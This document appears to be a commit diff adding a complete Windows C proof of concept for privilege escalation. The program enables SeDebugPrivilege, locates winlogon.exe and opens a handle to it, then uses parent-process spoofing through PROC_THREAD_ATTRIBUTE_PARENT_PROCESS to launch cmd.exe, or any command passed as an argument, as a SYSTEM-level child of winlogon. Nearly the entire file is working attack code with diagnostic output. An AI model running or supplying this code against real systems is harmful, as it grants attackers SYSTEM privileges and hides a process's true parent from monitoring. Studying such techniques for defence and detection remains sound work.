1+ #include  <windows.h> 
2+ #include  <stdio.h> 
3+ #include  <tlhelp32.h> 
4+ #include  <string.h> 
5+ 
6+ // No need to redefine ERROR_INSUFFICIENT_BUFFER as it's already in winerror.h 
7+ 
8+ // Function prototypes 
9+ LPWSTR  GetWin32ErrorMessage (DWORD  errorCode );
10+ void  FreeErrorMessage (LPWSTR  message );
11+ BOOL  EnableSeDebugPrivilege ();
12+ BOOL  CreateProcessFromHandle (HANDLE  hProcess , LPCWSTR  command );
13+ HANDLE  OpenWinlogonHandle ();
14+ 
15+ // Function to enable SeDebugPrivilege 
16+ BOOL  EnableSeDebugPrivilege () {
17+     HANDLE  hToken ;
18+     TOKEN_PRIVILEGES  tkp ;
19+     BOOL  result  =  FALSE;
20+ 
21+     if  (!OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES  | TOKEN_QUERY , & hToken )) {
22+         LPWSTR  errorMsg  =  GetWin32ErrorMessage (GetLastError ());
23+         wprintf (L"[-] Failed to open process token.\n" );
24+         wprintf (L"    |-> %s\n" , errorMsg );
25+         FreeErrorMessage (errorMsg );
26+         return  FALSE;
27+     }
28+ 
29+     if  (!LookupPrivilegeValueW (NULL , SE_DEBUG_NAME , & tkp .Privileges [0 ].Luid )) {
30+         LPWSTR  errorMsg  =  GetWin32ErrorMessage (GetLastError ());
31+         wprintf (L"[-] Failed to lookup SeDebugPrivilege.\n" );
32+         wprintf (L"    |-> %s\n" , errorMsg );
33+         FreeErrorMessage (errorMsg );
34+         CloseHandle (hToken );
35+         return  FALSE;
36+     }
37+ 
38+     tkp .PrivilegeCount  =  1 ;
39+     tkp .Privileges [0 ].Attributes  =  SE_PRIVILEGE_ENABLED ;
40+ 
41+     if  (!AdjustTokenPrivileges (hToken , FALSE, & tkp , 0 , NULL , NULL )) {
42+         LPWSTR  errorMsg  =  GetWin32ErrorMessage (GetLastError ());
43+         wprintf (L"[-] Failed to adjust token privileges.\n" );
44+         wprintf (L"    |-> %s\n" , errorMsg );
45+         FreeErrorMessage (errorMsg );
46+     } else  {
47+         DWORD  lastError  =  GetLastError ();
48+         if  (lastError  ==  ERROR_NOT_ALL_ASSIGNED ) {
49+             wprintf (L"[-] SeDebugPrivilege could not be enabled. The privilege is not held by the calling process.\n" );
50+             wprintf (L"[!] Make sure you're running as Administrator or have SeDebugPrivilege assigned.\n" );
51+             result  =  FALSE;
52+         } else  {
53+             wprintf (L"[+] SeDebugPrivilege enabled successfully.\n" );
54+             result  =  TRUE;
55+         }
56+     }
57+ 
58+     CloseHandle (hToken );
59+     return  result ;
60+ }
61+ 
62+ // Function to get Windows error message 
63+ LPWSTR  GetWin32ErrorMessage (DWORD  errorCode ) {
64+     LPWSTR  messageBuffer  =  NULL ;
65+     DWORD  size  =  FormatMessageW (
66+         FORMAT_MESSAGE_ALLOCATE_BUFFER  | FORMAT_MESSAGE_FROM_SYSTEM  | FORMAT_MESSAGE_IGNORE_INSERTS ,
67+         NULL ,
68+         errorCode ,
69+         MAKELANGID (LANG_NEUTRAL , SUBLANG_DEFAULT ),
70+         (LPWSTR )& messageBuffer ,
71+         0 ,
72+         NULL 
73+     );
74+ 
75+     if  (size  ==  0 ) {
76+         // If FormatMessage fails, create a generic error message 
77+         messageBuffer  =  (LPWSTR )LocalAlloc (LMEM_ZEROINIT , 64  *  sizeof (WCHAR ));
78+         if  (messageBuffer ) {
79+             swprintf (messageBuffer , 64 , L"[ERROR] Code 0x%08X" , errorCode );
80+         }
81+     } else  {
82+         // Remove trailing newline characters 
83+         while  (size  >  0  &&  (messageBuffer [size  -  1 ] ==  L'\r'  ||  messageBuffer [size  -  1 ] ==  L'\n' )) {
84+             messageBuffer [-- size ] =  L'\0' ;
85+         }
86+     }
87+ 
88+     return  messageBuffer ;
89+ }
90+ 
91+ // Function to free error message buffer 
92+ void  FreeErrorMessage (LPWSTR  message ) {
93+     if  (message ) {
94+         LocalFree (message );
95+     }
96+ }
97+ 
98+ 
99+ 
100+ BOOL  CreateProcessFromHandle (HANDLE  hProcess , LPCWSTR  command )
101+ {
102+     BOOL  status  =  FALSE;
103+     SIZE_T  size  =  0 ;
104+     LPPROC_THREAD_ATTRIBUTE_LIST  pAttrList  =  NULL ;
105+     STARTUPINFOEXW  si ;
106+     PROCESS_INFORMATION  pi ;
107+     DWORD  error ;
108+     
109+     wprintf (L"[>] Entering CreateProcessFromHandle function...\n" );
110+     wprintf (L"[>] Target command: %s\n" , command );
111+     wprintf (L"[>] Parent handle: 0x%p\n" , hProcess );
112+     
113+     ZeroMemory (& si , sizeof (si ));
114+     ZeroMemory (& pi , sizeof (pi ));
115+     si .StartupInfo .cb  =  sizeof (si );
116+ 
117+     wprintf (L"[>] Initializing process thread attribute list...\n" );
118+ 
119+     // Initialize with retry logic similar to C# version 
120+     do  {
121+         wprintf (L"[>] Calling InitializeProcThreadAttributeList (size=%zu)...\n" , size );
122+         status  =  InitializeProcThreadAttributeList (pAttrList , 1 , 0 , & size );
123+         error  =  GetLastError ();
124+         wprintf (L"[>] InitializeProcThreadAttributeList returned: %s (error=%lu, size=%zu)\n" , 
125+                 status  ? L"TRUE"  : L"FALSE" , error , size );
126+ 
127+         if  (!status ) {
128+             if  (pAttrList  !=  NULL ) {
129+                 wprintf (L"[>] Freeing previous attribute list...\n" );
130+                 HeapFree (GetProcessHeap (), 0 , pAttrList );
131+                 pAttrList  =  NULL ;
132+             }
133+ 
134+             if  (error  ==  ERROR_INSUFFICIENT_BUFFER ) {
135+                 wprintf (L"[>] Allocating %zu bytes for attribute list...\n" , size );
136+                 pAttrList  =  (LPPROC_THREAD_ATTRIBUTE_LIST )HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY , size );
137+                 if  (!pAttrList ) {
138+                     LPWSTR  errorMsg  =  GetWin32ErrorMessage (GetLastError ());
139+                     wprintf (L"[-] HeapAlloc failed.\n" );
140+                     wprintf (L"    |-> %s\n" , errorMsg );
141+                     FreeErrorMessage (errorMsg );
142+                     return  FALSE;
143+                 }
144+                 wprintf (L"[>] Attribute list allocated at: 0x%p\n" , pAttrList );
145+             } else  {
146+                 LPWSTR  errorMsg  =  GetWin32ErrorMessage (error );
147+                 wprintf (L"[-] InitializeProcThreadAttributeList failed with unexpected error.\n" );
148+                 wprintf (L"    |-> %s\n" , errorMsg );
149+                 FreeErrorMessage (errorMsg );
150+                 break ; // Exit loop if error is not insufficient buffer 
151+             }
152+         }
153+     } while  (!status  &&  error  ==  ERROR_INSUFFICIENT_BUFFER );
154+ 
155+     // Check if initialization was successful 
156+     if  (!status ) {
157+         LPWSTR  errorMsg  =  GetWin32ErrorMessage (error );
158+         wprintf (L"[-] Failed to initialize thread attribute list.\n" );
159+         wprintf (L"    |-> %s\n" , errorMsg );
160+         FreeErrorMessage (errorMsg );
161+         
162+         if  (pAttrList ) {
163+             HeapFree (GetProcessHeap (), 0 , pAttrList );
164+         }
165+         return  FALSE;
166+     }
167+ 
168+     wprintf (L"[+] Process thread attribute list initialized successfully.\n" );
169+     wprintf (L"[>] Updating process thread attribute...\n" );
170+ 
171+     // Update process thread attribute 
172+     status  =  UpdateProcThreadAttribute (
173+             pAttrList ,
174+             0 ,
175+             PROC_THREAD_ATTRIBUTE_PARENT_PROCESS ,
176+             & hProcess ,
177+             sizeof (HANDLE ),
178+             NULL ,
179+             NULL );
180+ 
181+     if  (!status ) {
182+         error  =  GetLastError ();
183+         LPWSTR  errorMsg  =  GetWin32ErrorMessage (error );
184+         wprintf (L"[-] Failed to update thread attribute.\n" );
185+         wprintf (L"    |-> %s\n" , errorMsg );
186+         FreeErrorMessage (errorMsg );
187+         
188+         DeleteProcThreadAttributeList (pAttrList );
189+         HeapFree (GetProcessHeap (), 0 , pAttrList );
190+         return  FALSE;
191+     }
192+ 
193+     wprintf (L"[+] Process thread attribute updated successfully.\n" );
194+     si .lpAttributeList  =  pAttrList ;
195+ 
196+     wprintf (L"[>] Calling CreateProcessW...\n" );
197+     wprintf (L"[>] Command line: %s\n" , command );
198+ 
199+     // Create a mutable copy of the command string 
200+     int  cmdLen  =  wcslen (command ) +  1 ;
201+     LPWSTR  cmdCopy  =  (LPWSTR )HeapAlloc (GetProcessHeap (), 0 , cmdLen  *  sizeof (WCHAR ));
202+     if  (!cmdCopy ) {
203+         wprintf (L"[-] Failed to allocate memory for command copy.\n" );
204+         DeleteProcThreadAttributeList (pAttrList );
205+         HeapFree (GetProcessHeap (), 0 , pAttrList );
206+         return  FALSE;
207+     }
208+     wcscpy (cmdCopy , command );
209+ 
210+     // Create the process 
211+     status  =  CreateProcessW (
212+         NULL ,                   // lpApplicationName 
213+         cmdCopy ,               // lpCommandLine (must be mutable) 
214+         NULL ,                   // lpProcessAttributes 
215+         NULL ,                   // lpThreadAttributes 
216+         FALSE,                  // bInheritHandles 
217+         EXTENDED_STARTUPINFO_PRESENT  | CREATE_NEW_CONSOLE , // dwCreationFlags 
218+         NULL ,                   // lpEnvironment 
219+         NULL ,                   // lpCurrentDirectory 
220+         & si .StartupInfo ,       // lpStartupInfo 
221+         & pi );                  // lpProcessInformation 
222+ 
223+     wprintf (L"[>] CreateProcessW returned: %s\n" , status  ? L"TRUE"  : L"FALSE" );
224+ 
225+     if  (!status ) {
226+         error  =  GetLastError ();
227+         LPWSTR  errorMsg  =  GetWin32ErrorMessage (error );
228+         wprintf (L"[-] Failed to create new process.\n" );
229+         wprintf (L"    |-> %s\n" , errorMsg );
230+         FreeErrorMessage (errorMsg );
231+     } else  {
232+         wprintf (L"[+] New process is created successfully.\n" );
233+         wprintf (L"    |-> PID : %lu\n" , pi .dwProcessId );
234+         wprintf (L"    |-> TID : %lu\n" , pi .dwThreadId );
235+         wprintf (L"    |-> Process Handle: 0x%p\n" , pi .hProcess );
236+         wprintf (L"    |-> Thread Handle: 0x%p\n" , pi .hThread );
237+         CloseHandle (pi .hThread );
238+         CloseHandle (pi .hProcess );
239+     }
240+ 
241+     // Cleanup 
242+     HeapFree (GetProcessHeap (), 0 , cmdCopy );
243+     DeleteProcThreadAttributeList (pAttrList );
244+     HeapFree (GetProcessHeap (), 0 , pAttrList );
245+     
246+     wprintf (L"[>] Exiting CreateProcessFromHandle function...\n" );
247+     return  status ;
248+ }
249+ 
250+ HANDLE  OpenWinlogonHandle ()
251+ {
252+     HANDLE  hSnap ;
253+     PROCESSENTRY32W  pe ;
254+     HANDLE  hProcess  =  NULL ;
255+     DWORD  error ;
256+ 
257+     wprintf (L"[>] Searching winlogon PID.\n" );
258+ 
259+     hSnap  =  CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS , 0 );
260+     if  (hSnap  ==  INVALID_HANDLE_VALUE ) {
261+         error  =  GetLastError ();
262+         LPWSTR  errorMsg  =  GetWin32ErrorMessage (error );
263+         wprintf (L"[-] CreateToolhelp32Snapshot failed.\n" );
264+         wprintf (L"    |-> %s\n" , errorMsg );
265+         FreeErrorMessage (errorMsg );
266+         return  NULL ;
267+     }
268+ 
269+     pe .dwSize  =  sizeof (pe );
270+     if  (Process32FirstW (hSnap , & pe )) {
271+         do  {
272+             if  (_wcsicmp (pe .szExeFile , L"winlogon.exe" ) ==  0 ) {
273+                 wprintf (L"[+] PID of winlogon: %lu\n" , pe .th32ProcessID );
274+                 wprintf (L"[>] Trying to get handle to winlogon.\n" );
275+                 
276+                 hProcess  =  OpenProcess (PROCESS_CREATE_PROCESS , FALSE, pe .th32ProcessID );
277+                 if  (hProcess  ==  NULL ) {
278+                     error  =  GetLastError ();
279+                     LPWSTR  errorMsg  =  GetWin32ErrorMessage (error );
280+                     wprintf (L"[-] Failed to get a winlogon handle.\n" );
281+                     wprintf (L"    |-> %s\n" , errorMsg );
282+                     FreeErrorMessage (errorMsg );
283+                     
284+                     // Try with different access rights for debugging 
285+                     wprintf (L"[>] Trying with PROCESS_ALL_ACCESS...\n" );
286+                     hProcess  =  OpenProcess (PROCESS_ALL_ACCESS , FALSE, pe .th32ProcessID );
287+                     if  (hProcess  ==  NULL ) {
288+                         error  =  GetLastError ();
289+                         LPWSTR  errorMsg2  =  GetWin32ErrorMessage (error );
290+                         wprintf (L"[-] Failed to get winlogon handle with PROCESS_ALL_ACCESS.\n" );
291+                         wprintf (L"    |-> %s\n" , errorMsg2 );
292+                         FreeErrorMessage (errorMsg2 );
293+                     } else  {
294+                         wprintf (L"[+] Got handle to winlogon with PROCESS_ALL_ACCESS (hProcess = 0x%p).\n" , hProcess );
295+                     }
296+                 } else  {
297+                     wprintf (L"[+] Got handle to winlogon with PROCESS_CREATE_PROCESS (hProcess = 0x%p).\n" , hProcess );
298+                 }
299+                 break ;
300+             }
301+         } while  (Process32NextW (hSnap , & pe ));
302+     } else  {
303+         error  =  GetLastError ();
304+         LPWSTR  errorMsg  =  GetWin32ErrorMessage (error );
305+         wprintf (L"[-] Process32FirstW failed.\n" );
306+         wprintf (L"    |-> %s\n" , errorMsg );
307+         FreeErrorMessage (errorMsg );
308+     }
309+ 
310+     CloseHandle (hSnap );
311+ 
312+     if  (hProcess  ==  NULL ) {
313+         wprintf (L"[-] Failed to get process ID of winlogon.\n" );
314+     }
315+ 
316+     return  hProcess ;
317+ }
318+ 
319+ int  wmain (int  argc , wchar_t *  argv [])
320+ {
321+     wprintf (L"[*] If you have SeDebugPrivilege, you can get handles from privileged processes.\n" );
322+     wprintf (L"[*] This PoC tries to spawn a process as winlogon.exe's child process.\n" );
323+ 
324+     // First, enable SeDebugPrivilege 
325+     wprintf (L"[>] Attempting to enable SeDebugPrivilege...\n" );
326+     if  (!EnableSeDebugPrivilege ()) {
327+         wprintf (L"[-] Failed to enable SeDebugPrivilege. Continuing anyway...\n" );
328+         wprintf (L"[!] Note: You may need to run as Administrator or have SeDebugPrivilege assigned.\n" );
329+     }
330+ 
331+     LPCWSTR  command  =  L"C:\\Windows\\System32\\cmd.exe" ;
332+ 
333+     if  (argc  >  1 ) {
334+         command  =  argv [1 ];
335+         wprintf (L"[>] Command parameter detected, launching: %s\n" , command );
336+     } else  {
337+         wprintf (L"[>] No command parameter detected, launching cmd.exe\n" );
338+     }
339+ 
340+     HANDLE  hProcess  =  OpenWinlogonHandle ();
341+     if  (hProcess ) {
342+         wprintf (L"[>] Attempting to create process from winlogon handle...\n" );
343+         BOOL  success  =  CreateProcessFromHandle (hProcess , command );
344+         if  (success ) {
345+             wprintf (L"[+] Process creation succeeded!\n" );
346+         } else  {
347+             wprintf (L"[-] Process creation failed.\n" );
348+         }
349+         CloseHandle (hProcess );
350+     } else  {
351+         wprintf (L"[-] Failed to get winlogon handle. Cannot proceed.\n" );
352+         wprintf (L"[!] Make sure you're running as Administrator.\n" );
353+     }
354+ 
355+     wprintf (L"[*] Press Enter to exit...\n" );
356+     getchar ();
357+     return  0 ;
358+ }
0 commit comments